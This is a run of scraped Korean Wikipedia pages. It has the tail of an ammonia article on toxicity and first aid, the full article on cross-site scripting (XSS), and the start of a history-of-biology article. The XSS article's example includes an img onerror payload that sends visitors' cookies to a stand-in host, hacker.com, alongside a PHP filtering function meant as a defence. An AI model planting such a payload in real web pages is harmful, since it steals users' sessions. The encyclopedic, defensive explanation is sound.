빠질 수 있다. 마실 경우 입 안과 목에 통증을 느끼고 위통, 구역질, 허탈 상태에 빠질 수 있다. 암모니아 액체는 점막을 강하게 자극하고 흡입할 경우 후두 경련, 후두염, 기관지염 등을 일으키고, 신속하게 처치하지 않는 경우 질식사에 이르는 경우가 있다.[34] 신체가 암모니아에 장기간 노출되는 경우 눈, 간, 신장, 또는 허파의 손상을 일으킬 수 있다.[1] 농도에 따른 증상은 다음과 같다. 이는 사람에 따라 차이가 있을 수 있다.[35] 농도 증상 5ppm 특유의 냄새가 난다.[20] 6-20ppm 눈 자극과 호흡기계에 문제를 일으킨다.[20] 40-200ppm 두통, 매스꺼움, 식욕감퇴, 기도와 코, 목구멍 자극이 일어난다.[20] 400ppm 목에 자극을 준다. 700ppm 눈이 상할 수 있다. 1700ppm 기침을 하고, 숨을 쉬기가 힘들어진다. 순간적인 호흡 곤란을 겪기도 한다. 2500~4500ppm 조금만 노출되어도 치명적일 수 있다. 5000ppm 이상 호흡 정지로 인하여 사망한다. 허용 농도[편집] 암모니아는 유독성 기체이기 때문에, 세계 대부분의 나라에서는 작업장이나 일상 생활에서 허용될 수 있는 농도 기준을 정하여 관리하고 있다. 허용 농도는 15분 간 접촉하는 경우의 단시간 허용 농도(short term exposure limit, STEL)와 8시간 작업 시간을 기준으로 하는 시간당 평균 접촉 질량(time weight average concentration, TWA)으로 구분되는데, 암모니아의 경우 STEL은 35 ppm, TWA는 25 ppm 정도이다.[30] 미국의 경우에는 직업 안전 건강 관리청(Occupational Safety and Health Administration, OSHA) 의 규정에 의해 허용 농도가 관리되며[36], 대한민국의 경우 산업안전보건법에 따라 관리된다.[37] 작업 안전[편집] 암모니아는 공기보다 가벼워 환기할 경우 빠르게 확산되므로 암모니아 냄새를 맡으면 작업장을 환기하여 위험을 예방할 수 있다.[20] 암모니아가 유출될 수 있는 환경에서 작업할 때에는 보호 장비를 착용하고, 환기가 잘 되지 않는 곳에서는 호흡기 보호구를 착용하여야 한다. 또한 인화의 위험이 있으므로 화기를 멀리하여야 하며, 작업후에는 손을 철저히 씻고, 오염된 의류를 씻어야 한다.[38] 응급 조치[편집] 암모니아에 접촉되었을 때는 다음의 응급 조치를 취한다.[38] 증상 응급 조치 호흡곤란 오염지역에서 벗어난다.인공호흡을 한다. 산소를 공급한다. 피부 15분 이상 비누와 물로 씻고 의사의 진료를 받는다. 눈 15분 동안 많은 양의 물로 씻고 의사의 진료를 받는다. 섭취 입안을 물로 행구고 구토를 하지 않도록 유지한 후 의사의 진료를 받는다. 함께 보기[편집] 화학 포털 위키미디어 공용에 관련된미디어 분류가 있습니다.암모니아 질소 물 암모니아수 아민 하버법 산소 닌히드린 각주[편집] ↑ 가 나 다 라 마 암모니아 MSDS Archived 2008년 5월 21일 - 웨이백 머신, 2008년 5월 26일 읽음. ↑ 가 나 다 라 마 바 사 화학대사전편집위원회 편, 성용길, 김창홍 역, 〈암모니아〉, 《화학대사전》(Vol.6), 서울: 세화(世和), 2001, 134~135쪽. ↑ "Ammonia". h2g2 Eponyms. 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사이트 간 스크립팅 - 위키백과, 우리 모두의 백과사전 사이트 간 스크립팅 위키백과, 우리 모두의 백과사전. 둘러보기로 가기 검색하러 가기 사이트 간 스크립팅(또는 크로스 사이트 스크립팅, 영문 명칭 cross-site scripting, 영문 약어 XSS)은 웹 애플리케이션에서 많이 나타나는 취약점의 하나로 웹사이트 관리자가 아닌 이가 웹 페이지에 악성 스크립트를 삽입할 수 있는 취약점이다. 주로 여러 사용자가 보게 되는 전자 게시판에 악성 스크립트가 담긴 글을 올리는 형태로 이루어진다. 이 취약점은 웹 애플리케이션이 사용자로부터 입력 받은 값을 제대로 검사하지 않고 사용할 경우 나타난다. 이 취약점으로 해커가 사용자의 정보(쿠키, 세션 등)를 탈취하거나, 자동으로 비정상적인 기능을 수행하게 할 수 있다. 주로 다른 웹사이트와 정보를 교환하는 식으로 작동하므로 사이트 간 스크립팅이라고 한다.[1] 목차 1 공격 유형 1.1 비 지속적 (Non-persistent) 기법 1.2 지속적 (persistent) 기법 2 예문 3 참고 4 같이 보기 5 각주 6 외부 링크 공격 유형[편집] 크로스 사이트 스크립팅(XSS)의 공격 유형은 표준화로 정해져 있지 않지만, 전문가들은 크로스 사이트 스크립팅의 유형을 구분한다. 비 지속적인 공격(Non-persistent XSS) 과 지속적인 공격(persistent XSS). 그리고 소스코드 추가로 발생되는 DOM 기반 XSS 등 유형으로 구분한다.. 비 지속적 (Non-persistent) 기법[편집] 비 지속적 (Non-persistent) 크로스 사이트 스크립팅 취약점은 반사 (Reflected) XSS라고도 불리며, 가장 일반적인 유형이다. 웹 클라이언트가 제공하는 HTTP 쿼리 매개 변수 (예 : HTML 양식 제출)에서 적절하지 않고, 구문 분석 및 해당 사용자에 대한 결과의 페이지를 표시하는 공격 기법이다. 검증 되지 않은 사용자가 URL 파라미터나 HTTP 요청 헤더 정보를 수정하여 공격할 수 있다. 잠재적인 취약점이 존재하는 대상은 검색 엔진이다. : 검색 엔진의 검색창에서 하나의 문자열을 검색하는 경우, 검색 문자열은 일반적으로 결과 페이지에 그대로 다시 표시된다. 삽입 된 문자열을 다시 표시하면서 문자열이 가지고 있는 스크립트가 동작된다면 취약점이 존재하는 것 이다. 지속적 (persistent) 기법[편집] 지속적 (persistent) 크로스 사이트 스크립팅 취약점은 더 치명적인 기법이다. : 공격자가 제공 한 데이터가 서버에 저장 된 다음 지속적으로 서비스를 제공하는 "정상"페이지에서 다른 사용자에게 노출된다. 해당 취약점이 대표적으로 발생하는 위치는 사용자가 읽을 수있고, HTML 형식의 메시지를 게시 할 수 있는 온라인 게시판이 해당된다. 예를 들면, 회원들이 흥미롭게 볼 수 있는 검색이 가능한 웹 사이트가 존재한다고 가정하자. 개인 정보 보호를 위해, 이 사이트는 모든 사람들의 실제 이름과 이메일은 숨기고, 해당 사용자만 알 수 있다. 해당 서버에 회원이 로그인 하여 사이트에 접근할 때 회원의 실제 이름과 이메일은 브라우저에 있는 유일한 시간이다. 공격자는 해당 사이트에 가입하고, 사이트에서 볼 수 있는 사람들의 실제 이름을 알아내고 싶어 한다. 우선 공격자는 공격자의 프로필을 방문한 다른 사람의 브라우저에서 실행되도록 설계된 스크립트를 적용하여 원하는 정보를 수집하고 자신의 서버에 원하는 정보가 저장될 수 있게 한다. 만약 질문이 "너가 기억하는 가장 좋은 날을 입력하시오!"에 대한 물음란에 공격자는 짧은 대답 (정상처리 되는)내용과 다른 사용자의 이름과 이메일을 훔치는 스크립트를 입력한다. 다른 사용자가 공격자가 작성한 내용을 읽게 되면 접근한 사용자의 이름과 이메일 정보가 공격자에게 전송된다. 스크립트는 <script> 요소 내에 동봉 된 경우, 화면에 표시되지 않기 때문에 다른 사용자들의 이름과 이메일이 공격자에게 전송되어도 당사자는 해당 공격 행위를 알지 못한다. 공격자의 악의적인 스크립트가 피해자를 일일이 제 3 자 웹 사이트로 유인 할 필요없이, 자동으로 렌더링되기 때문에 지속적인 XSS 취약점은 다른 유형보다 더 위험하다. 예문[편집] 다음과 같이, 사용자가 입력한 내용을 출력하는 방명록 프로그램이 있다고 하자. <p><?php echo htmlspecialchars($name); ?>님의 말: </p> <?php echo $content; ?> 만약 $name이 "Hacker"이고 $content가 다음과 같다고 하자. <p>Hello! I am a hacker.</p> <img src="#" width="0" height="0" onerror="this.src='http://hacker.com/gatherCookie.php?cookie='+encodeURIComponent(document.cookie);" /> 그러면 다음과 같이 출력될 것이다. <p>Hacker님의 말: </p> <p>Hello! I am a hacker.</p> <img src="#" width="0" height="0" onerror="this.src='http://hacker.com/gatherCookie.php?cookie='+encodeURIComponent(document.cookie);" /> 결과적으로 방명록을 보는 사람의 쿠키가 해커에게 전송이 될 것이다. 참고[편집] 간단한 PHP용 HTML 필터링 함수 function html_filter($content) { // Strip bad elements. $content = preg_replace('/(<)(|\/)(\!|\?|html|head|title|meta|body|style|link|base|script'. '|frameset|frame|noframes|iframe|applet|embed|object|param|noscript|noembed|map|area|basefont|xmp|plaintext|comment)/i', '&lt;$2$3', $content); // Strip script handlers. $content = preg_replace_callback("/([^a-z])(o)(n)/i", create_function('$matches', 'if($matches[2]=="o") $matches[2] = "&#111;"; else $matches[2] = "&#79;"; return $matches[1].$matches[2].$matches[3];'), $content); return $content; } 같이 보기[편집] 해킹 웹해킹 해커 CSRF 각주[편집] ↑ “IT 용어사전 e-Words: XSS”. 2008년 5월 26일에 원본 문서에서 보존된 문서. 2010년 2월 21일에 확인함.  외부 링크[편집] 한국 IBM developerWorks 기사: 크로스-사이트 스크립팅 Lucy-XSS Filter HTML Purifier - PHP용 XSS Filter 이 글은 보안에 관한 토막글입니다. 여러분의 지식으로 알차게 문서를 완성해 갑시다. 원본 주소 "https://ko.wikipedia.org/w/index.php?title=사이트_간_스크립팅&oldid=23728930" 분류: 취약점 공격숨은 분류: 보안에 관한 토막글큰 토막글 문서모든 토막글 문서 둘러보기 메뉴 개인 도구 로그인하지 않음토론기여계정 만들기로그인 이름공간 문서토론 변수 보기 읽기편집역사 보기 더 보기 검색 둘러보기 대문사용자 모임요즘 화제최근 바뀜모든 문서 보기임의 문서로도움말기부 도구 여기를 가리키는 문서가리키는 글의 최근 바뀜파일 올리기특수 문서 목록고유 링크문서 정보위키데이터 항목이 문서 인용하기 인쇄/내보내기 책 만들기PDF로 다운로드인쇄용 판 다른 언어 العربيةCatalàČeštinaDeutschΕλληνικάEnglishEspañolEestiEuskaraفارسیSuomiFrançaisעבריתBahasa IndonesiaItaliano日本語LumbaartLietuviųLatviešuമലയാളംМонголမြန်မာဘာသာNederlandsNorskPolskiPortuguêsРусскийSlovenčinaСрпски / srpskiSvenskaTürkçeУкраїнська中文 링크 편집 이 문서는 2019년 2월 18일 (월) 17:40에 마지막으로 편집되었습니다. 모든 문서는 크리에이티브 커먼즈 저작자표시-동일조건변경허락 3.0에 따라 사용할 수 있으며, 추가적인 조건이 적용될 수 있습니다. 자세한 내용은 이용 약관을 참고하십시오.Wikipedia®는 미국 및 다른 국가에 등록되어 있는 Wikimedia Foundation, Inc. 소유의 등록 상표입니다. 개인정보 정책 위키백과 소개 면책 조항 개발자 쿠키 정책 모바일 보기
생물학의 역사 - 위키백과, 우리 모두의 백과사전 생물학의 역사 위키백과, 우리 모두의 백과사전. (생물학사에서 넘어옴) 둘러보기로 가기 검색하러 가기 이래즈머스 다윈(《종의 기원》의 저자 찰스 다윈의 할아버지)의 진화론을 주제로 한 시 《The Temple of Nature》의 표지로 자연의 장막을 뒤로 당기는 여신(아르테미스)이 나타나 있다. 우화와 은유는 종종 생물학의 역사에서 중요한 역할을 담당했다. 생물학의 역사(영어: history of biology) 또는 생물학사(生物學史)는 고대부터 현대에 이르기까지 살아있는 것들의 연구에 대해 기술한다. 단일 학문으로서의 생물학은 19세기에 정립되었지만, 그 기원은 고대 인도의 아유르베다, 고대 이집트의 의학, 고대 그리스 로마 시대의 아리스토텔레스와 갈레노스의 연구와 같은 고대의 의학과 자연과학의 전통에서 찾을 수 있다. 이와 같은 고대의 연구는 중세의 이븐 시나와 같은 무슬림 의사와 학사들에 의해 보다 더 발전하였다. 유럽의 르네상스 시대와 근대 초기에 경험주의에 대한 새로운 관심과 많은 새로운 생물들의 발견으로 유럽에서 생물학적 사고의 혁명이 일어났다. 이런 움직임에서 두드러진 것은 생리학 분야에서 실험과 면밀한 관찰을 이용한 베살리우스와 하비, 생물의 발달과 행동, 화석 기록, 생물의 다양성을 분류하기 시작한 린네와 뷔퐁 같은 박물학자들이었다. 로버트 훅, 안톤 판 레이우엔훅에 의한 현미경의 사용은 이전에 잘 알려지지 않았던 미생물의 세계를 밝혀내어, 세포설의 토대를 마련했다. 부분적으로 기계론적 세계관의 부상에 대한 대응으로 자연신학(natural theology)의 중요성이 커지면서 박물학(natural history)의 발달을 촉진하였다. 18세기와 19세기에 식물학과 동물학과 같은 생물학은 점점 더 전문적인 과학 분야가 되었다. 라부아지에와 다른 물리학자들은 물리학과 화학을 통해 생물의 세계와 무생물의 세계를 연결하기 시작했다. 알렉산더 폰 훔볼트 같은 탐험가, 박물학자들은 생물과 환경의 상호작용이 지리학에 의해 좌우되는 것을 연구하여 생물지리학, 생태학 및 동물행동학의 기반을 마련했다. 박물학자들은 본질주의를 거부하고 멸종의 중요성과 종의 변이 가능성을 고려하기 시작했다. 세포설은 생물의 기본 단위에 대해 새로운 시각을 제공했다. 이러한 학문적 발전과 발생학과 고생물학의 성과들은 찰스 다윈의 자연선택설에 의한 진화론으로 종합되었다. 19세기 말에는 자연 발생설이 부정되고 질병의 세균설이 부상되었지만, 유전 현상의 메커니즘은 여전히 수수께끼로 남아있었다. 20세기 초 멘델 유전 법칙의 재발견은 토머스 헌트 모건과 그의 제자들에 의해 유전학의 급속한 발전을 가져왔고, 1930년대에 신다윈주의자들은 집단 유전학과 자연선택설을 결합시켜 현대 종합설을 탄생시켰다. 새로운 분야는 특히 왓슨과 크릭이 DNA 구조를 제안한 후에 급속도로 발전했다. 분자생물학의 중심 원리의 확립과 유전 암호가 해독됨에 따라 생물학은 크게 개체생물학(개체와 개체군을 다루는 분야)과 세포 및 분자생물학으로 나뉘어졌다. 20세기 후반에 유전체학 및 단백체학(프로테오믹스)과 같은 새로운 학문 분야는 분자적인 기술을 이용하는 개체생물학자나 집단 유전학 뿐만 아니라 유전자와 환경 사이의 상호작용을 연구하는 세포생물학자나 분자생물학자처럼 개체생물학과 세포 및 분자생물학의 구분을 모호하게 만들고 있다. 목차 1 생물학의 어원 2 고대 및 중세의 지식 2.1 초기 문명 2.1.1 고대 중국의 전통 2.1.2 고대 인도의 전통 2.1.3 고대 메소포타미아의 전통 2.1.4 고대 이집트의 전통 2.2 고대 그리스와 로마의 전통 2.3 중세와 이슬람의 지식 3 르네상스와 근대 초기의 발전 3.1 17세기와 18세기 4 19세기: 생물학 분야의 출현 4.1 박물학 및 자연철학 4.1.1 지질학 및 고생물학 4.1.2 진화와 생물지리학 4.2 생리학 4.2.1 세포설, 발생학, 세균설 4.2.2 유기화학 및 실험 생리학의 부상 5 20세기의 생명과학 5.1 생태학 및 환경과학 5.2 고전유전학, 현대 종합설 및 진화론 5.3 생화학, 미생물학, 분자생물학 5.3.1 분자생물학의 기원 5.3.2 분자생물학의 확장 5.4 생명공학, 유전공학, 유전체학 5.4.1 재조합 DNA 5.4.2 분자계통학, 유전체학 6 21세기의 생명과학 7 같이 보기 8 각주 9 참고 문헌 10 외부 링크 생물학의 어원[편집] 생물학(biology)이라는 단어는 "생명"을 뜻하는 그리스어 "βίος (bios)"와 "학문"을 뜻하는 접미사 "-logy" 의 결합으로 형성되었다. 현대적인 의미에서 생물학이란 용어는 토머스 베도스 (1799년),[1] 카알 프리드리히 부르다흐 (1800년), 고트프리드 라인홀트 트레비라누스 (1802년), 장바티스트 라마르크 (1802년)에 의해 각각 독자적으로 도입된 것으로 보인다.[2][3] 생물학이란 단어 자체는 1766년에 출판된 독일의 학자 미카엘 크리스토프 하노우의 저서 《Philosophiae naturalis sive physicae dogmaticae: Geologia, biologia, phytologia generalis et dendrologia》 제3권의 제목에 등장한다. 생물학이라는 용어가 쓰이기 전에 동물과 식물의 연구에서 사용된 몇 가지 용어가 있다. 박물학은 생물학에 대해 기술하는 측면이 있었지만, 광물학 및 기타 비생물학적인 분야도 포함하였다. 중세부터 르네상스 시대까지 박물학의 통일된 틀은 아리스토텔레스의 자연의 단계(scala naturae), 즉 존재의 대사슬(Great Chain of Being)이었다. 자연철학(Natural philosophy)과 자연신학(natural theology)은 식물과 동물에 대한 개념적이고 형이상학적인 근거를 포함하고, 생물이 존재하고 행동하는 방식에 대한 문제를 다루었지만, 지질학, 물리학, 화학 및 천문학을 포함하고 있다. 생리학 및 (식물학적)약리학은 의학의 한 분야였다. 식물학, 동물학 및 지질학(화석의 경우)은 생물학이 널리 받아들여지기 전인 18세기, 19세기에 박물학과 자연철학을 대체했다.[4][5] 오늘날 식물학과 동물학은 균류학 및 분자생물학과 같은 생물학의 다른 하위 분야라는 의미로 널리 사용되고 있다. 고대 및 중세의 지식[편집] 초기 문명[편집] 세계사, 농업의 역사, 의학사 문서를 참고하십시오. 고대 인류는 생존의 기회를 높이기 위해 식물과 동물에 대한 지식을 가지고 있었음이 분명하다. 이는 인간과 동물에 대한 해부학적 지식과 동물 행동(이주 패턴과 같은)의 측면을 포함할 수 있다. 그러나 생물학적 지식의 첫 번째 중대한 전환점은 지금으로부터 약 10,000년 전에 일어난 신석기 혁명에 있었다. 인류는 처음에는 농사를 위해 식물을 길들였고, 그 다음 가축을 길들였고, 그 결과 정착 생활을 하기 시작했다.[6] 메소포타미아, 이집트, 인도, 중국의 고대 문명은 독자적이고 복잡한 자연철학 체계를 가졌으며 수스루타(인도) 및 장중경(중국)과 같은 유명한 의사와 학자들을 배출하였다. 그러나 현대 생물학의 근원은 고대 그리스 철학의 세속적인 전통에서 찾을 수 있다.[7] 고대 중국의 전통[편집] 고대 중국에서는 생물학적 주제가 약용식물학자, 의사, 연금술사 및 철학자의 연구등 여러 분야에 걸쳐 분산되어 있었다. 예를 들어 중국 도교의 연단술 전통은 건강에 중점을 두고 있었기 때문에(궁극적인 목표는 불로장생의 영약임) 생물학의 일부로 간주될 수 있다. 고대 중국의 의학 체계는 일반적으로 음양오행설을 중심으로 전개된다.[8] 또한 기원전 4세기 장자와 같은 도교 철학자들은 생물 종의 고정을 부정하고, 생물 종이 환경에 대응해서 특성을 발전시킨다고 추측하는 등의 진화와 관련된 생각들을 표현하였다.[9] 고대 인도의 전통[편집] 가장 오래된 의학 체계 중 하나는 기원전 약 1,500년 전 아타르바베다(인도의 지식, 지혜 및 문화에 관한 가장 오래된 4권의 책 중 하나)에서 유래한 인도의 아유르베다로 알려져 있다. 고대 인도의 아유르베다는 고대 그리스 의학의 4가지 체액과 유사한 3가지 체액 개념을 독자적으로 발전시켰고, 인체는 5가지 요소와 7가지 기본 조직으로 구성된다는 보다 복잡한 체계를 포함한다. 또한 아유르베다의 저자들은 태어나는 방법(자궁, 알, 열과 습기, 씨앗)에 따라 생물을 4가지 범주로 분류하고, 태아의 개념을 자세히 설명했다. 또한 그들은 사람 해부나 동물 해부 없이 수술 분야에서 상당한 발전을 이루었다.[10] 가장 초기의 아유르베다 문헌 중 하나는 기원전 6세기 수스르타의 것으로 보이는 수스르타 삼히타(Sushruta Samhita)로 700종의 약용 식물, 64종의 광물 원료, 57종의 동물성 원료를 기술한 초기 약물학 문헌이다.[11] 고대 메소포타미아의 전통[편집] 고대 메소포타미아 의학은 기원전 11세기의 저명한 학자인 에사길-킨-아플리로 대표될 수 있으며, 그는 의학적 처방전과 절차들을 편찬하여 엑소시즘으로 제시했다. 고대 이집트의 전통[편집] 기원전 16세기부터 에드윈 스미스 파피루스(현존하는 가장 오래된 외과 안내서)와 에버스 파피루스(각종 질병 치료를 위한 의료 재료 준비, 사용에 대한 안내서)같은 12종이 넘는 의학 관련 파피루스가 전해진다. 또한 고대 이집트인들은 사람의 유해를 보존하고 부패를 막는 시체방부처리 기술을 발달시킨 것으로 유명한데, 이는 미라를 만드는데 사용되었다.[12] 고대 그리스와 로마의 전통[편집] 이 부분의 본문은 고대 그리스 의학 및 아리스토텔레스의 생물학입니다. 《식물의 역사》(Historia Plantarum)의 삽화가 들어간 1644년의 확장판의 표지로, 원래는 테오프라스토스에 의해 기원전 300년 경에 쓰여졌다. 소크라테스 이전의 철학자들은 생명에 관해 많은 질문을 던졌지만, 생물학적 관심에 대한 체계적인 지식을 거의 만들지 못했다. 그래도 순수 물질적인 용어로 생명체를 설명하려는 원소론자들의 시도는 주기적으로 반복되었다. 그러나, 히포크라테스와 그의 제자들의 의학이론, 특히 사체액설은 후대에 지속적으로 영향을 미쳤다.[13] 철학자 아리스토텔레스는 고대로부터 생물 분야의 가장 영향력이 있는 학자였다. 자연철학에서 그의 초기 연구는 추측에 근거한 것이었지만, 아리스토텔레스의 후기 생물학적 저작들은 생물학적 인과관계와 생물의 다양성에 초점을 맞춘 보다 경험적인 것이었다. 그는 자연을 무수히 관찰했으며, 특히 주변 세계에서 식물과 동물의 습성과 속성을 분류하여 범주화하는데 많은 노력을 기울였다. 결국 아리스토텔레스는 540종의 동물을 분류하고 적어도 50종을 해부했다. 그는 지적인 목적, 형태적인 원인이 모든 자연 과정을 이끈다고 믿었다.[14] 18세기까지 아리스토텔레스와 거의 모든 서구학자들은 생물체가 식물에서 사람까지 올라가는 완전한 단계으로 배열되어 있다고(자연의 단계 또는 존재의 대사슬) 믿었다.[15] 아리스토텔레스의 제자인 테오프라스토스는 식물학에 관한 일련의 책인 《식물의 역사》를 저술했는데 이 책은 식물학에 대해 고대에 가장 중요한 기여를 하였으며, 중세까지 영향을 미쳤다. 열매와 관련된 "카포스(carpos)", 과피와 관련된 "페리카피온(pericarpion)" 같은 테오프라스토스가 명명한 많은 용어들이 현재까지 남아있다. 디오스코리데스는 약 600여종의 식물에 대한 설명과 의학에서의 사용법을 종합하여 선구적이고 백과사전적인 약학서적인 《약물학》(De Materia Medica)을 저술했다. 대 플리니우스는 그의 저작 《박물지》(Natural History)에서 많은 식물과 동물들에 대한 설명을 포함하여 자연에 대한 백과사전식 설명들을 후세에 남겼다.[16] 프톨레마이오스 왕조 이래로 헬레니즘 시대의 몇몇 학자들 특히 칼케톤의 헤로필로스와 키오스 섬의 에라시스트라투스는 해부학과 생리학에 관한 아리스토텔레스의 이론을 수정했다.[17] 클라우디우스 갈레노스는 의학과 해부학에서 가장 중요한 권위자가 되었다. 루크레티우스와 같은 고대의 원소론자 중 일부는 생명의 모든 측면이 계획이나 목적의 결과라는 아리스토텔레스의 목적론적 관점에 도전했지만, 목적론(및 기독교의 부상 이후 자연신학)은 18세기와 19세기까지 생물학의 중심사상이었다. 에른스트 마이어는 "루크레티우스와 갈레노스 이후 르네상스까지 생물학에서 어떠한 중요 발견도 이루어지지 않았다."고 주장했다.[18] 박물학과 의학에 관한 그리스 전통 이론들은 중세 유럽에서 의심의 여지 없이 널리 받아들여졌다.[19] 중세와 이슬람의 지식[편집] 이슬람의 의학, 비잔티움의 의학, 중세 유럽의 의학 문서를 참고하십시오. 폐순환과 관상동맥에 의한 순환을 발견한 실험적 해부학의 초기 지지자인 이븐 알 나파스의 생체의학 연구 로마 제국의 몰락으로 인해 많은 지식이 소실되고 파기되었지만, 의사들은 여전히 그리스 전통을 의학 훈련과 실습에 적용시켰다. 비잔티움 제국과 이슬람 세계에서 많은 그리스 작품이 아랍어로 번역되었으며, 아리스토텔레스의 작품 대부분이 보존되었다.[20] 신성 로마 제국의 황제인 프리드리히 2세가 저술한 《새와 사냥하는 기술》(De arte venandi cum avibus)은 조류 형태학을 탐구한 중세 시대의 영향력있는 박물학 문헌이다. 중세 성기에는 빙엔의 힐데가르트, 알베르투스 마그누스, 신성로마제국의 프리드리히 2세와 같은 몇몇 유럽 학자들이 박물학에 관해 저술했다. 유럽 대학들의 부상은 물리학과 철학의 발전에 큰 영향을 미쳤지만, 생물학에는 별다른 영향을 미치지 못하였다.[21] 르네상스와 근대 초기의 발전[편집] 해부학의 역사, 과학 혁명 문서를 참고하십시오. 유럽의 르네상스로 인해 경험적 박물학과 생리학에 대한 관심이 증대되었다. 1543년에 안드레아스 베살리우스는 시체 해부를 기반으로 한 인체해부학에 대한 저서 《인체 해부학 대계》(De humani corporis fabrica), 일명 《파브리카》(fabrica)를 통해 서양 의학의 근대 시대를 열었다. 베살리우스는 일련의 해부학자들 중 생리학과 의학에서의 스콜라주의를 경험주의로 점차적으로 대체하고, 과거의 권위와 추상적 추론보다는 직접적인 경험에 의존한 첫 번째 해부학자였다. 또한 본초학에 근거한 의학에서 약초의 이용은 새로운 경험주의에 바탕을 둔 식물 연구의 원천이 되었다. 오토 브룬펠스, 히에로니무스 보크 및 레온하르트 후크스는 야생 식물에 대한 광범위한 저작을 남겼으며, 이는 식물의 삶 전체를 자연에 기반해서 기술하는 접근법의 시작이었다.[22] 베스티아리(동물에 대한 자연적이고 비유적인 지식을 결합한 동물우화집) 또한 윌리엄 터너, 피에르 블롱, 기욤 롱드레, 콘라드 게스너, 울리세 알드로반디 같은 박물학자들에 의해 더욱 정교해졌다.[23] 알브레히트 뒤러와 레오나르도 다 빈치 같은 예술가들은 종종 박물학자들과 함께 동물과 인간의 몸에 관심을 갖고, 생리학을 자세히 연구하고, 해부학 지식의 발전에 기여했다.[24] 특히 파라켈수스의 연구에서 전통적인 연금술과 주술은 살아있는 세계에 대한 지식으로 주장되었다. 연금술사들은 유기물을 화학 분석에 사용하고, 여러 생물과 광물들의 약물 효과에 대해 자유롭게 실험했다.[25] 자연을 유기체에 비유하던 전통적인 관점은 자연을 기계에 비유하는 것으로 대체되었고, 17세기까지 계속된 세계관(기계론의 부상)의 일부로 자리잡았다.[26] 17세기와 18세기[편집] 식물계통분류학의 역사 문서를 참고하십시오. 17세기와 18세기의 대부분에 걸쳐 박물학을 지배한 것은 이름을 붙이고, 분류하고, 계통을 세우는 것이었다. 칼 폰 린네는 1735년에 자연계에 대한 기본적인 분류법을 발표했으며, 1750년대에는 자신이 기재한 모든 종에 학명을 도입했다.[27] 린네는 생물 종을 설계된 계층 구조의 불변하는 부분으로 생각했지만, 18세기의 박물학자인 르클레르 뷔퐁은 생물 종을 인위적인 범주로 분류하고, 생물을 가변적인 것으로 간주하여 공통 조상의 가능성을 제시하기도 했다. 비록 진화에 대해 반대했지만, 뷔퐁은 진화론의 역사에서 중요한 인물이다. 그의 연구는 라마르크와 다윈의 진화론에 영향을 미쳤다.[28] 새로운 종의 발견과 기재, 표본 수집은 과학자에게는 열정을 불러일으키고, 기업가에게는 수익성이 좋은 사업이 되었다. 수 많은 박물학자들이 과학 지식과 모험을 찾아 지구 곳곳을 탐험하였다.[29] 올레 보름의 경이의 방과 같은 것들은 근대 초기에 생물학적 지식의 중심지였고, 전세계의 생물들을 한 곳에 모았다. 대항해시대 이전에 박물학자들은 생물 다양성의 규모에 대한 생각을 거의 가지고 있지 않았다. 베살리우스의 연구를 살아있는 사람과 동물에 대한 실험으로 확대한 윌리엄 하비와 다른 자연 철학자들은 혈액, 동맥과 정맥의 역할에 대해 연구하였다. 1628년에 출간된 하비의 《동물의 심장과 혈액의 운동에 관한 해부학적 연구》(Exercitatio Anatomica de Motu Cordis et Sanguinis in Animalibus)는 기존 갈레노스의 이론에 종지부를 찍게 하였고, 산토리오 산토리오의 신진대사에 대한 연구와 함께 생리학에 대한 정량적인 접근법의 모델로 큰 영향을 남겼다.[30] 17세기 초에 생물학의 미시 세계에 대한 탐구가 시작되었다. 몇몇 렌즈 제작자들과 자연철학자들은 16세기 후반부터 조잡한 현미경을 만들고 있었고, 로버트 훅은 1665년에 자신의 현미경으로 관찰한 것에 기초한 《마이크로그라피아》(Micrographia)를 출판했다. 1670년대에 안톤 판 레이우엔훅에 의한 렌즈 제작 기술의 극적인 발전으로(단일 렌즈로 최대 200배까지 확대할 수 있었음) 학자들은 정자, 세균, 원생동물, 미시 생명체의 기묘함과 다양성에 대해 관찰, 발견할 수 있었다. 슈밤메르담의 연구는 곤충학에 대해 새로운 관심을 불러 일으켰고, 현미경 관찰시 분리 과정 및 염색 과정에서 기본 기술의 토대를 마련했다.[31] 《마이크로그라피아》(Micrographia)에서 로버트 훅은 코르크 조각과 같은 생물학적 구조에 세포라는 단어를 사용했지만, 과학자들이 세포를 생물의 기본 단위로 여기게 된 것은 19세기에 이르러서였다. 현미경적 세계가 확대됨에 따라 거시적 세계는 축소되어 갔다. 존 레이와 같은 식물학자들은 지구 곳곳에서 새로 발견된 많은 생물들을 일관된 분류 체계와 일관된 신학(자연신학)에 통합시키기 위해 노력했다.[32] 또 다른 주제인 태고의 먼 옛날에 대한 논쟁들은 고생물학의 발전을 촉발시켰다. 1669년에 니콜라스 스테노는 어떻게 살아있는 생물이 퇴적층에 갇히고 광물화된 화석이 될 수 있었는지에 대한 에세이를 출판했다. 화석에 대한 스테노의 생각은 잘 알려져 있었고, 자연 철학자들 사이에서 많은 논란이 있었지만 멸종이나 지구의 나이와 같은 문제에 대한 철학적, 신학적 논쟁으로 18세기 말까지 대부분의 박물학자들은 화석의 유기적 기원을 받아들이지 않았다.[33] 19세기: 생물학 분야의 출현[편집] 19세기까지 생물학은 형태와 기능(즉, 생리학)에 대한 문제를 연구한 의학과 생물과 생물, 생물과 환경 사이의 상호작용 및 생물의 다양성에 관해 연구한 박물학으로 크게 나뉘어져 있었다. 박물학이 세포생물학, 세균학, 형태학, 발생학, 지리학, 지질학과 같은 보다 전문화된 과학 분야들에 크게 영향을 주었지만 1900년까지 이들 학문 영역의 대부분은 서로 중첩되어 있었다. 알렉산더 폰 훔볼트는 탐험을 하면서 경관을 가로지르는 식물의 분포도를 만들고 압력과 온도 같은 다양한 물리적인 조건들을 기록했다. 박물학 및 자연철학[편집] 19세기 초, 중반에 박물학자들의 광범위한 탐험을 통해 생물의 다양성과 분포에 대한 풍부하고 새로운 정보를 얻을 수 있었다. 자연철학(즉, 물리학 및 화학)의 정량적 접근법을 사용하여 생물과 환경(즉, 박물학의 영역) 사이의 관계를 분석한 알렉산더 폰 훔볼트의 연구가 특히 중요하다. 훔볼트의 연구로 인해 생물지리학의 기초가 마련되였고, 여러 세대의 과학자들에게 깊은 영감을 주었다.[34] 지질학 및 고생물학[편집] 지질학의 역사, 고생물학의 역사 문서를 참고하십시오. 신흥 학문인 지질학은 박물학과 자연철학을 더욱 더 가깝게 만들었다. 주상단면도는 생물의 공간적 분포를 시간적 분포와 관련시킴으로써 진화라는 개념이 성립하는데 중요한 단초를 제공했다. 조르주 퀴비에를 비롯한 여러 학자들에 의해 1790년대 말부터 19세기 초에 이르기까지 비교해부학과 고생물학은 큰 발전을 